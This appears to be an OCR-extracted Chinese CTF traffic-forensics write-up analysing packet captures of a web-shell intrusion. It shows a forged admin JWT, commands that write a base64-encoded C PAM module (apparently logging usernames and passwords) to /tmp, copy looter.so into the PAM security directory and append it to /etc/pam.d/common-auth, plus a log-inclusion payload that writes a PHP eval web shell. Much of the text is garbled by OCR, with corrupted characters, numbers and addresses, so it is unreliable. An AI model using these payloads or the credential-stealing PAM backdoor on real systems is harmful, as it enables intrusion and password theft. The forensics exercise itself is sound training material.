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[#ENZE]
BRI, IEAEREAT AT RECY hitp PR .

A s AW s ETA s A A s AW s A s AT e oww L L L o LT LI TSR VI )

192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192 .168 .147 ) B 241 .15: 1.1 403 F (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.147 192.168.241.152 HTTP 593 HTTP/1.1 403 Forbidden (text/html)
192.168.241.152 192.168.241.147 HTTP 74 GET / HTTP/1.0 Continuation
192.168.241.152 192.168.241.147 HTTP 74 GET / HTTP/1.0 Continuation
192.168.241.152 192.168.241.147 HTTP 74 GET / HTTP/1.0 Ca?;}ngziﬁg%ﬁr%§¢ﬂfF:;
192.168.241.152 192.168.241.147 HTTP 74 GET / HTTP/1.0 Contrhuativfe )= VLT, o .

2 JWT

21

[BEH#iR]

ZMEEER T _jwt ANERFR. (B FRHEEEERNS)

[#EERZE]

ARSI, EEEFER cookie ATAER T jwt KIIAES .

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy d ep q Decoder Comparer Extender Project options User options JSON Web Tokens
Enter JWT

ey shbGeiOiNIUZIINilsInRScCI61kpXVC 19. ey JpZ CI6MT AwODYslk1 hcENs YWitcylGey shdWQiOi JhZ GlpbilsInVzZXiuYW1lljoi YWRLaW4ifX0.d JArtwijas3 _Cg9a3tr8COXFTDRsuXBUjmbC 1nkfBfc

Enter Secret /| Key

Invalid Key
The Secret cannot be null
Decoded JWT
Headers = {
"alg": - "HS256",
Payload = {

Signature -=-"dJArtwXjas3_Cg9a3tr8COXF7DRsuxsUjmbClnKfefc:

CSDN @EBNBSHET. . .

2.2

[BHE#R]
2 S IE 4 I Fjwt, idFlusername2_10087#admin _.

[#ENE]
FiE1: FEARERE, TESITHK jwt cookien] &idFlusername ;10087#admin.
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A m I ® =2
" http

No. Time

94 152.219846
95 152.269179
96 152.271308

Source

192.168.2.197
192.168.2.197
102.168.2.197

Q { > N % 3

il
o

o=

Destination

192.168.2.197
192.168.2.197
102.168.2.197

@ Ir

97 216. 198086

217.299848
99 281.207688
lee 282.299451
101 380.411800
182 381.501154
103 391.752016
104 392.845146
1685 485.394980
106 4086.484640
107 412.740695

Frame 97: Eéb'ﬁ;!bg on J£F§‘f§hﬁblﬂzfs], 879 bytes captured (7832 hits)-“"

Null/Loopback

>
b
> Internet Protocol Version 4, Src:
>
W

>

192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197

Host: 192.168.2.197:8081\r\n

> Content-Length: 14\r\n
Cache-Control: max-age=@\r\n
Upgrade-Insecure-Requests: 1\r\n
Origin: http://192.168.2.197:8881\r\n
Content-Type: application/x-www-form-urlencoded\rin

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 10_15_7) AppleWebKit/537.36 (KHTML,

Referer: http://182.168.2.187:8081/exec\r\n

Accept-Encoding: gzip, deflate\r\n

Decoded JWT

Accept-Language: zh-CN, Zh;q=0.9\r\n

@ 7 HTTP Cookie (http.cookie), 195 bytes

192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 54639, Dst Port: 8681, Seq: 1, Ack: 1, Len: 823

192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197

P DTS Lanil v b i

Protocol Length Info
HTTP 8866 HTTP/1.
HTTP 763 GET /f:
HTTP 183 HWTTP/1,
HTTP 441 HTTP/1
HTTP 896 POST /¢
HTTP 438 HTTP/1,
HTTP 2322 POST /¢
HTTP 1682 HTTP/1
HTTP 2334 POST /¢
HTTP 417 HTTP/1,
HTTP 882 POST /¢
HTTP 448 HTTP/1
HTTP 887

like Gecko) Chrome/92.8.4515.187 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9\r\n

434: 140 - BER: 92 (65.7%)

Headers = {

Payload = {
+-™id": - 10087,

- -"MapClaims™: -{

- - -"username": - “admin"
O |

3}

FiE2: #ZRusernamefd F|

A . e

L= [

Al & O 3=

Signature-=-"rurQDSRYgMrFZow8r-k7KCP13P32sF-RpTxXhKsxzvD0"

== A A A IE

CSDN @ff

REAE T dres ~ <Ctrl-/»

s v RE v OEsKIS |FHE v| |usernale|

Ne. Tine Source Destination Protocel Length Info
15 116.3989@9 192.168.2.197 192.168.2.197 TCP 160 8081 - 53665 [PSH, J\CI(] Seq=50982 Ack=3607 Win:
16 110.398920 192.168.2.197 192.168.2.197 TCP 4221 8081 » 53665 [PSH, ACK] Seq=51086 Ack=3607 Win:
17 110.398993 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 53664 [ACK] Seqg=1 Ack=618 Win=6363 Len=:
18 110.398994 192.168.2.197 192.168.2.197 HTTP 4511 HTTP/1.1 200 0K (GIFBQE}
19 110.4080325 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 53665 [ACK] 5eq=55251 Ack=3607 Win=6308
20 110.400327 192.168.2.197 192.168.2.197 TCP 12327 8081 -» 53665 [PSH, J\CI(] Seq=71583 Ack=3607 Win:
21 110.400688 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 53665 [ACK] 5eq=83854 Ack=3607 Win=6308
22 110.400690 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 53665 [ACK] Seq=100186 Ack=3607 Win=630{
23 110.400691 192.168.2.197 192.168.2.197 TCP 160 8081 -» 53665 [PSH - ACI(] Seq=116518 Ack=3607 Wir
24 110.401518 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 53665 [ACK ] 5eq=116622 Ac k=3607 Win=630i
25 110.4081519 192.168.2.197 192.168.2.197 HTTP 2425 HTTP/1.1 200 OK (JPEG JFIF image}
26 114.557841 192.168.2.197 192.168.2.197 HTTP 903 POST /exec HTTP/1.1 (application/x-www-form-u
27 114.558775 192.168.2.197 192.168.2.197 HTTP 471 HTTP/1.1 200 OK (text/html)
28 119.158948 192.168.2.197 192.168.2.197 HTTP 754 GET / HTTP/1.1

<+ 29 119.161218  192.168.2.197 192.168.2.197 HTTP 6185 HTTP/1.1 200 OK (text/html)

e 30 125.795848 192.168.2.197 192.168.2.197 HTTP 918 POST lidentity HTTP/1.1 (application/x-m-fm

> Frame 3@: 918 bytes on wire (7344 bits), 918 bytes captured (7344 bits)

> Null/Loopback

> Internet Protocol version 4, Src: 192.168.2.197, Dst: 192.168.2.197

> Transmission Control Protocol, Src Port: 53665, Dst Port: 881, Seq: 5152, Ack: 141867, Len: 862

>

~ HTML Form URL Encoded: application/x-www-form-urlencoded

> Form item:
> Form item:

"username" = "admin"
"identity" = "admin"

0200 49 36 4d 54 41 77 Af 44 59 73 49 6b 31 68 63 45
0310 4e 73 59 57 6C 74 63 79 49 36 65 79 4a 68 64 57

0320 51 69 4f 69 4a 68 5a 47

31 70 62 69 49 73 49 6e

I6MTAWOD YsIklhcE
NsYWltcy I6eylhdw
QiniJhzG 1pbilsin



0330 56 7a 5a 5B 4a 75 59 57 31 6C 49 6a 6f 69 59 57 VZZXJuYW 11Tjo1YW
0340 52 74 61 57 34 69 66 58 30 2e 64 4a 41 72 74 77 Rtawdifx @.dlArtw
0250 58 6a 61 73 33 5 43 67 39 61 33 74 72 38 43 af Xjas3_Cg 9a3trsco
0700 58 46 37 44 52 73 75 58 38 55 6a 6d 62 43 31 6e XF7DRsuX 3Ujmbc1n
e37e 66 63 od ea
8380
0390 3d 61 64 6d 69 be

69 64 65 6@ 74 69 74 79

355 ,—J—Eﬁj'l_E;J‘u—b—u—
O3 7 Tawt item (tevt) 15 =% o

2.3

[ E ik ]
BRI webshellZ f5, HRR_==root==_?

[#fENE]
BE L PITHER TR

192.168.2.197 192.168.2.197 HTTP/1.1 200 0K (PNG

192.168.2.197 192.168.2.187 63 GET /favicon.ico IIII'F}i,i
9 102. 16 07 HTTP/1.1 404 Not Found (text/plain)
11 rm-urlencod
- 217.299848 192.16: 192.168 97 HTTP/1.1 200 OK (text/html)
281.207688  192.168.2.197 192.168.2.107 POST /exec HTTP/1.1 (lpp.ucltmnfx Wit~ fOrm-ur lencoded)
282.200451 102.168.2.197 102.168.2.107 HTTP/1.1 208 OK (L
380.411808 192.16: 197 192.168. 97 POST /exec HTTP/1.1 (appucauon/x Wil - TOF M- Ur lencoded)
381.561154  192.168.2.197 197.168.2 197 HTTP/1.1 200 OK (text/html)
394, 752016 192.168.2.197 192.168.2.197 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
302.845146 102.168.2.197 102.168.2.107 HTTP/1.1 208 OK (text/html)
192.168.2.197 192.168.2.197 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
192.168.2.197 192.168.2.197 HTTP/1.1 200 OK (text/ntml)
102.168.2.107 102.168.2.107 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
102.168.2.197 102.168.2.107 HTTP/1.1 208 OK (text/html
192.168.2.197 POST /exec HTTP/1.1 (application/x-www-Torm-urlencoded)
192.168.2.197 o .2.197 HTTP/1.1 208 0K (text/html)
192.168.2.107 192.168.2.107 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
192.168.2.197 192.168.2.197 HTTP/1.1 208 0K (text/html
192,168.2.197 192.168.2.197 POST /exec HTTP/1.1 (application/x-www-Torm-urlencoded)
192.168.2.197 192.168.2.197 MTTP/1.1 200 0K (text/html)
192.168.2.197 192.168.2.107 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
192.168.2.197 192.168.2.197 HTTP/1.1 208 0K (text/html)
152.168.2.197 192.168.2.197 POST /exec HTTP/1.1 (application/x-www-Torm-urlencoded)
192.168.2.197 192.168.2. 191 HTTP/1.1 200 OK (text/html)
Frame 07: 870 bytes on wire (7032 bits), 879 bytes captured (7032 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 54630, Dst Port: 8061 E

Len: 823

Content-Length: 1d\r\n
Cache-Control: max-age=@\r\n
Upgrade-Insecure-Requests: 1\r\n
Origin: NEtp://192.168.2.197:8081\r\n
Content-Type: application/x-wew-form-urlencoded\rin
User-Agent: Mozilla/5.9 (Macintosh; Intel Mac 0S X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.9.4515.107 Safaris537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=8.9, image/avir, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9\r\n
ReTerer: Nttp://192.168.2.197:8081/exec\r\n
Accept -Encoding: gzip, deflate\rin
Accept -Language: zl zh o\rin
I H

Connectiol close\r\n

\rin

[Full request URI: http://102.168.2.107:8081/exec]
[HTTP request 1/1]

Response in frame: 98

File Data: 14 bytes

v HTML Form URL Encoded: application/x-wew-form-urlencoded CSDN @{E58 e
\ Carm itam: Prramand= = "
e = = e
95 152.269179 162.168.2.197 192.168.2.187 HTTP 783 GET /favicon.ico HTTP/1.1
96 152.271398  102.168.2.197 192.168.2.197 HTTP 183 HTTP/1.1 404 Not Found (text/plain)
9 98006 192.168 9; tcsucnlx -www-form-urlencoded

B4B xt
281.207688 (appucat 100/ X - - TO]

.168.2.197

urlencoded)

186 282.299451  192.168.2.197 192.168.2.197 HTTP 438 HTTP/1.1 288 OK (textlht ml
101 380.411860 192.168.2.197 192.168.2.197 HTTP 2322 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
102 381.501154 192.168.2.197 192.168.2.197 HTTP 1682 HTTP/1.1 200 OK (text/html)
103  391.752016 192.168.2.197 192.168.2,197 HTTP 2334 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
184 392.845146 192.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 286 OK (text/html)
105 405.394980 192.168.2.197 192.168.2.197 HTTP 882 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
186 406.484640 192.168.2.197 192.168.2.197 HTTP 449 HTTP/1.1 2080 OK (text/html)
107 412.740605  102.168.2.197 192.168.2.197 HTTP 887 POST /exec HTTP/1.1 (application/X-www-form-urlencoded)
108 413.832058 102.168.2.197 192.168.2.197 HTTP 1682 HTTP/1.1 260 OK (text/html)
109 498.914376 192.168.2.197 192.168.2.197 HTTP 1646 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
118 560.005016 192.168.2.197 192.168.2.1987 HTTP 417 HTTP/1.1 268 OK (text/html)
111 502.469421 102.168.2.197 192.168.2.107 HTTP 882 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
112 503.559384 192.168.2.197 192.168.2.197 HTTP 458 HTTP/1.1 288 OK (text/html)
113 643.824352  192.168.2.197 192.168.2.197 HTTP 887 POST /exec HTTP/1.1 (application/X-wWww-Torm-urlencoded)
114 644.917323 102.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 280 OK (text/html)
115 780.104769 102.168.2.197 192.168.2.197 HTTP 982 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
116 781.196152  192.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 200 0K (text/html)
117 786.360005 192.168.2.197 192.168.2.197 HTTP 887 POST /exec HTTP/1.1 (applicatlion/X-www-Torm-urlencoded)
J.i.g TBT 451450 }25}225121' }23 198 2. il7 m :&I m/i‘.:l 290“25 ‘(textﬁlt 11
Frame 98: -au bytes on wire (3528 bits), 441 bytes captured (3528 bits)
Null/Loopback

Internet Protocol Version 4, Src: 192. 163 2 197 Dsl» 102 168.2.197
Transmission Control Protocol, Src Port 54639, Seq: 1, Ack: 824, Len: 385

Content-Type: text/html; charse tf-8\r\n
Date: Sat, 07 Aug 2021 05:11:83 GMT\r\n
Content-Length: 249\r\n
Connection: closevr\n
\r\n
[HTTP response 1/1)
[Time since request: 1.181842860 seconds]
[Request in frame: 97
[Request URI: http://192.168.2.197:8881/exec]
File Data: 249 bytes
¢ Line-based text data: text/html (16 lines)
<!DOCTYPE html>\n
<html lang="en">\n
<head>\n
<meta charset="UTF-8">\n
<title>Title</title>\n
</head>\n
<body>\n

v

<sCript language="]avascript” Lype="text/Javascript™>\n
\n

\n
window.location.href="\/exec";\n SOl = F
. CSDN @IEEHT
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[EH#R]
BE FMEREBE 4 2 _fem/1.c .

[#ENE]

HE LT HEAR:

18672

i v
=
(9]

[
™o

r\n
8081

2.5

Upgrade-Insecure-Requests: 1

Origin: http://192.168.2.197:8081

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.06.4515.1¢
Accept: textshtml,application/xhtml+xml,application/xml;q=0.9,imagesavif, image/webp, image/apng,*/*;q=0.8,application/s
Referer: http://192.168.2.197:8081/exec

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=3f8coeg6hm9vfOh5lcoifmk8o5;
token=eyJhbGci0iJIUzI1NiIsInRScCIGIkpXVCJ9.eylpZCI6MTAWODCcSIk1hcENSYWltcyIBeyllc2VybmFtZSI6ImFkbWluIni9. rurQD5RYgMrFZe
Connection: close

command=echo%20121uY2x1ZGUgPHNOZG1lvLmg%2bCiNpbmNsdWR1IDxzdGRsaWIuaD4KI21uY2x1Z2GUgPGN1cmwvY3VybC50PgojaWsjbHVKZSABC3Ry:
XBwbC50PgojaW5jbHVkZSABc2VjdXIpdHkveGFtX21vZHVsZXMuaD4KI21uY2x1ZGUgPHYuaXN®ZC50PgpzaXplX3Qgd3JpdGVfZGFOYSh2b21kICpidW:
HZvaWQgKnVzZXJwKQp7CnJ1ldHVybiBzaXplICogbm11bWI7Cn@KCnZvaWQgc2F2ZU11c3NhZ2UoY2hhciAoKmi1lc3NhZ2UpW10pIHsKRk1MRSAqZnAgPSE
CA1YSsiKTsKZnB1dHMoKm11c3NhZ2UsIGZwKTSKZmNsb3N1KGZWKTsKTQoKUEFNXOVYVEVSTiBpbnQgcGFtX3NtX3N1dGNyZWQoIHBhbVIoYW5kbGV TdC/
3QgY2hhciAgKmFyZ3YgKSB7CnJ1dHVybiBQQU1TULIVDQEVTUzsKFQoKUEFNXOVYVEVSTiBpbnQgcGF tX3NtX2F jY3RFbWdtdChwYWlfaGFuZGx1X3QgKnE
GNoYXIgKiphcmd2KSB7CnJ1dHVybiBQQU1fU1VDQEVTUZzsKTQoKUEFNXOVYVEVSTiBpbnQgcGFtX3NtX2F1dGh1bnRpY2FOZSggcGFtX2hhbmRsZVIOICE
GNoYXIgKiphcmd2ICkgewppbnQgcmVedmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvemQ7CmNoYXIgbWVzc2FnZVsxMD]
CZ1c2VybmFtZSwgI1VzZXJuYW110iAiKTsKcGFtX2d1dF9pdGVEtKHBhbWgsIFBBTVIBVVRIVEILLCAodmIpZCAqKSAMCGFze 3dvemQpOwppZiAocmVedmE
Ww7CnOKCNNucHIpbnRmKG11c3NhZ2UsMjAROCWiVXN1cmShbWUgIXNcb1Bhe3N3b3Jk0iAlcixulix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNz Yiic
wp9 |base64%20-d%20>/tmp/fIEHTTP/1.1 200 0K

Content-Type: text/html; charset=utf-8

Date: Sat, 07 Aug 2021 ©5:13:59 GMT

Content-Length: 225

Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script language="javascript" type="text/javascript">

window.location.href="\/exec";
</script>

</body> renh @Rz
</html> CSDN @]

[EH#R]
BEIERS 3 F R PRRI R Eso X, X4 & looter.so .



[#ENE]
HE WL WITHEAR:

117 swb.souews  19Z.Ios.z.190 1vz.108. 2,791 nie ®Sr  PUSI 7EXEC MITE/1.1  [APPI1CATIONX-WHW-TOTM-UFLENCOUET)
118 787.451480 102.168.2.197 192.168.2.197 HTTP 417 HTTP/1.1 200 OK (text/html)
119 B832.146131  192.168.2.197 192.168.2.197 HTTP 882 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
120 833.238137 192.168.2.197 102.168.2.197 HTTP 466 HTTP/1.1 200 OK (text/html)
122 B71.531459 192.168.2.197 192.168.2.197 HTTP HTTP/1 1)
123 878.866382 192.168.2.197 192.168.2.197 HTTP 9@9 POST f'u!c HTTP/I. 1 (iDHIlCiN,onlx wwiw - form-urlencoded)
124 879,975679 192.168.2.197 192.168.2.197 HTTP 1135 HTTR/1.1 200 OK (text/html)
125 192.168.2.187 182.168.2.197 HTTR 999 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)

Frame 1217 826 hytes on wire (7408 bits), 926 bytes captured (7468 bits)
Null/Loopback

Transmission Control Protocol, Src Port: 56874, Dst Port: 8081, Se Ac) Len: 870

>
>
> Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.187
>

Host: 192.168 081\ r\n
Content-Length: 61\r\n
Cache-Control: max-age=e\r\n
Upgrade-Tnsecure-Requests: 1\rin
Origin: http://192.168.2.197:8681\r\n
Content-Type: application/x-ww-form-urlencoded\rin
User-Agent: M0z111a/5.8 (Macintosh; Intel Mac OS X 18_15_7) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Sarari/537.36\r\n
Accept: text/html,application/xhtmlexml,application/xml;q=6.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0, 9\r\n
Referer: http://102.168.2.197:8081/exec\r\n
Accept -Encoding: gzip, deflate\rin
Accept-Language: zh-CN,zh;q=8.9\r\n
Cookie: PHPSESSID=3f8coegBhmIvienSlcoifak8oS; token=eyJhbGei0ilIUzIINITSINRSCCISIKPXVCIS. ey pZCIENTAWODCS IKINCENSYWLECY I6ey J1c2VybmFtZSI6InFKbWLUIN1D, rurQDSRYGNIFZow8r -kTKCP13P325F - RpTXhKSKZvDOAr\n
Connection: close\r\n
\rin
Full request UR
[HTTP request 1/1]
[Response in frame: 122)
FIle Data: 61 bytes
v HTML Form URL Encoded: application/x-ww-Torm-urlencoded
« Form item: "command" = "cp /tmp/looter.so /1ib/x86_64-linux-gnu/security/"

v

http://192.168.2.197:8681/exec

5_64-11NUX-QNU/ SECUF1TY/

2.6

[ E#id]
BEEERS S LB T — MR E S, R4S %N letc/pam.d/common-auth_.

[HERE
RIS looter.so” 444k F [ letc/pam.d/common-auth# 48, 553X BL gt 2 4 16 o 1 i B Sk .

125 030.579618  192.168.2.197 192.168.2.187 HTTP 909 POST /exec WTTP/1.1 (application/x-www-form-urlencoded)
126 931.668386 192,168.2.197 102.168.2,107 HTTP 468 HITP/1.1 260 OK (text/html)
127 938.341947 192.168.2.197 192.168.2. u? HTTP 911 POST /exec HTTP/1.1 (appncaucmra Wi - FOrm-ur lencoded)
128 939.433320 _ 192.168.2.197 182.168.2.1 HTTP 200 OK (text/html)
9 .168.2 .1 933P0ST /e 1 1 o - FOT m-ur 1ancoc
130 1023. 782557 192.108.2.197 192. 158 2.197 HTTP 417 HTTP/1.1 200 0K (loutmlu
131 1631.626478  192.168.2.197 192.168.2.197 HTTP 991 POST /exec HTTP/1.1 (application/x-www-fors-urlencoded)
132 1032.718087  192.168.2.107 192.168.2.187 HTTP 1752 HITP/1.1 268 OK (text/html)
133 1053.631087 192.168.2.197 102.168.2.197 HTTP 896 POST sexec HTTP/1.1 (application/x-www-form-urlencoded)
134 1654.747303  192.168.2.197 192.168.2.197 HTTP 496  HTTP/1.1 260 OK (text/html)
135 1063.171646 192.168.2.197 192.168.2.187 HTTP 879 POST /exec HTTP/1.1 (application/x-www-Torm-urlencoded)
136 1064.262780  102.168.2.107 102.168.2.107 HTTP 441 HITP/1.1 200 OK (text/html)
137 1673.786726  192.168.2.197 192.168.2.197 HTTP 888 POST /exec HTTP/1.1 (application/x-www-form-urlencoded)
138 1074.872574 192.168.2.197 192.168.2.197 HTTP 744 HWITP/1.1 200 OK (text/ntml)
139 1007.528958  192.168.2.107 102.168.2.107 HTTP 891 POST fexec HTTP/1.1 (application/x-www-fors-urlencoded)

Frame 120; 833 bytes on wire (7464 bits), 933 bytes captured (7484 bits) : i
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197

Transmission Control Protocol, Src Port: 57329, Dst Port: 8681, Seq: 1, Ack: 1, Len: 877

>

Host: 102.168.2.197:8881\r\n

Content-Length: 68\r\n

Cache-Control: max-age=o\rin

Upgrade- Insecure-Requests: 1\r\n

Origin: http://102.168.2.107:8681\r\n

content-Type: application/x-www-Form-urlencoded\rin

User-Agent: Moz1lla/5.8 (Macintosh; Intel Mac 0S X 16_15_7) AppleWebK1t/537.36 (KHTML, like Gecko) Chrome/92.6.4515.107 Safar1/537.36\r\n

Accept: text/html,application/xhtml+xml,application/xal;q=9.9, inage/avif, image/webp, inage/apng, */*;q=0.8, application/signed-exchange; v=b3;q=0.9\r\n
Referer: http://192.168.2.197:8081/exec\r\n

Accept-Encoding: gzip, deflateirin

Accept-Language: zh-CN,zh;g=0.9\r\n

Cookie: PHPSESSID=38coegOhmOvrONSlcoifmkoS; token=eyIhbGC101JIUZIINIISINRSCCIGIKPXVCID. Ik YWltcyI6eyJic2vy In19. rurQDSRYGMr FZowBr -KTKCP13P325F -RpTXhKSxZvDON \n
Connection: close\rn

\r\n

[Full request URL: http://192.168.2.197:8081/exec]

-

v

[ATTP request 1/1]
Response in frame: 130
File Data: 68 bytes
HTML Form URL Encoded: application/x-wws-form-urlencoded
v Form item: “command" = "echo "auth optional looter.so">>/etc/pam.d/common-auth"

3 webshell
3.1

[ B ik 1
REERARMEANELRZ_Admin123!1@# .



[HBENE]
R BRI Rpass. passwordEiFadmin, B A2 #3565 A Admin123!@#.

i+ Frame 101: 753 bytes on wire (6024 bits), 753 bytes captured (6024 bits)
& Nul/Loopback

© Intemnet Protocol, Src: 192.168.2.197 (192.168.2.197), Dst: 192.168.2.197 (192.168.2.197)
# Transmission Control Protocol, Src Port: 58283 (58283), Dst Port: sunproxyadmin (8081), Seq: 1, Ack: 1, Len: 697
= Data (697 bytes)
Data 5045354202f696e6465782e7068703f6d3d486f6d652663

U DY D€ E
70 0d Oa 41 63 63 6570 74 2d 45 6e 63 6f 64 69
be 67 3a 20 67 7a 69 70 2c 20 64 65 66 6¢ 61 74
65 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61
67 65 3a 20 7a 68 2d 43 4e 2c 7a 68 3b 71 3d 30
2e 39 0d 0a 43 6f 6f 6b 69 65 3a 20 50 48 50 5
4553534944 3d 63 37 7267 3838 69 74 62 71
34 65676464 756a63 70 74 36 37 6d 71 68 36
3b 20 74 68 69 6e 6b 5f 6¢ 61 6e 67 75 61 67 6
3d 7a 68 2d 43 4e 3b 20 74 68 69 6e 6b 5f 74 6
6d 70 6¢ 61 74 65 3d 64 65 66 61 75 6¢ 74 0d 0a
0d 0a 75 73 65 72 6e 61 6d 65 3d 74 65 73 74 26
7061 737377 6f72 64 3d 41 64 6d 69 6e 31 3
33 21 25 34 30 25 32 33 26 65 78 70 69 72 65 3d

()
0220
0230
0240
0250
0260
0270
0280
0290
02a0
02b0
02c0
02do
02e0
02f0

th|nk language
—zh CN; think_te
mplate:d efault. .
..userna me=test8&
password =Admin1
31%40%23 &expire=

CSDN @1

3.2

[EH#R]
EEBH T —AHEXM, SR 4%t 5458 ivariwww/html/data/Runtime/Logs/Home/21_08_07.log_ .

[#ENZE]
Xt HE#AT N, BEEBANEGEERRBRE W Elog3X M, T EFR:

95911 Connection: close\r\n
Content-Type: application/x-www-form-urlencoded\r\n
content-Length: 143\r\n

\rin
H—— ®

[HTTP reguest 1/1]
[ i f : 334]
File Data: 143 bytes
~ HTML Form URL Encoded: application/x-www-form-urlencoded

v

> _Form item: "variable” = "1"

> Form item: "tpl" = “data/Runtime/Logs/Home/21_e8_e7.log"
;;;i; > Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX11FUVVFUIRbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"
k | <

1tocol 560 67 75 61 67 65 3d 7a 68 2d 43 4e 3b 20 74 68 69  guage=zh -CN; thi
1Conl | o760 Be 6b SF 74 65 6d 7@ 6¢ 61 74 65 3d 64 65 66 61  nk_templ ate=defa
0280 75 6C 74 3b ed ea 42 6f 6e 6e 65 63 74 69 6f 6e  ult;--Co nnection
9200 3a 20 63 6c 6f 73 65 @d ©a 43 6f 6e 74 65 6e 74 : close- -Content
.168, | 9220 2d 54 79 70 65 33 20 61 70 70 6C 69 63 61 74 69  -Type: a pplicati
o-caq | 92be 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 on/x-www -form-ur

troli | 0200 6C 65 6e 63 6f 64 65 64 @d @a 43 6f 6e 74 65 6e  lencoded --Conten CSDN @EBFIFMWESF, . .

BRI webshellz J5, BRZ_ www-data_?



[#ENE]

Ho. Time Source Destination Fretecol Length Info
<L 312 239.600452 192.168.2.197 192.168.2.197 HTTP 6842 HTTP/1.1 200 OK (text/html)
313 251.837224 192.168.2.197 192.168.2.197 HTTP 790 POST /index.php?m=home&a=assign_resume_ tpl
314 251.849775 192.168.2.197 192.168.2.197 HTTP 3497 HTTP/1.1 404 Not Found (text/html)
315 280.401747 192.168.2.197 192.168.2.197 HTTP 876 POST /index.php?m=home&a=assign_resume_tpl
316 280.409401 192.168.2.197 192.168.2.197 HTTP 1868 HTTP/1.1 404 Not Found (text/html)
317 292.482507 192.168.2.197 192.168.2.197 HTTP 808 POST /index.php?m=home&a=assign_resume_tpl
318 292.522597 192.168.2.197 192.168.2.197 TCP 16388 8081 -» 60187 [ACK] Seq=1 Ack=753 Win=6367
319 292.522598 192.168.2.197 192.168.2.197 HTTP 6904 HTTP/1.1 200 OK (text/html)
320 306.378411 192.168.2.197 192.168.2.197 HTTP 810 POST /index.php?m=home&a=assign_resume_tpl
321 306.394854 192.168.2.197 192.168.2.197 FCP 16388 8081 » 68278 [ACK] Seq=1 Ack=755 Win=6367
322 306.394855 192.168.2.197 192.168.2.197 HTTP 6889 HTTP/1.1 200 OK (text/html)
323 340.117099 192.168.2.197 192.168.2.197 HTTP 810 POST /index.php?m=home&a=assign_resume_tpl
324 349.153293 192.168.2.197 192.168.2.197 TCP 16388 8081 » 60502 [ACK] Seq=1 Ack=755 Win=6367
325 3409.153295 192.168.2.197 192.168.2.197 HTTP 7157 HTTP/1.1 200 OK (text/html)
326 348.879123 192.168.2.197 192.168.2.197 HTTP 805 POST /index.php?m=home&a=assign resume tpl
327 348.913830 192.168.2.197 192.168.2.197 TCcp 16388 8081 » 60561 [ACK] Seq=1 Ack=750 Win=6367
<tr><td class="e">Apache Version </td><td class="v">Apache/2.4.7 (Ubuntu) </td></tr>\n
<tr><td class="e">Apache API Version </td><td class="v"»20120211 </td></tr>\n
<tr><td class="e">Server Administrator </td><td class="v">webmaster@localhost </td></tr>\n
<tr><td class="e">Hostname:Port </td><td claps="v">172.17}0.2:80@ </td></tr>\n
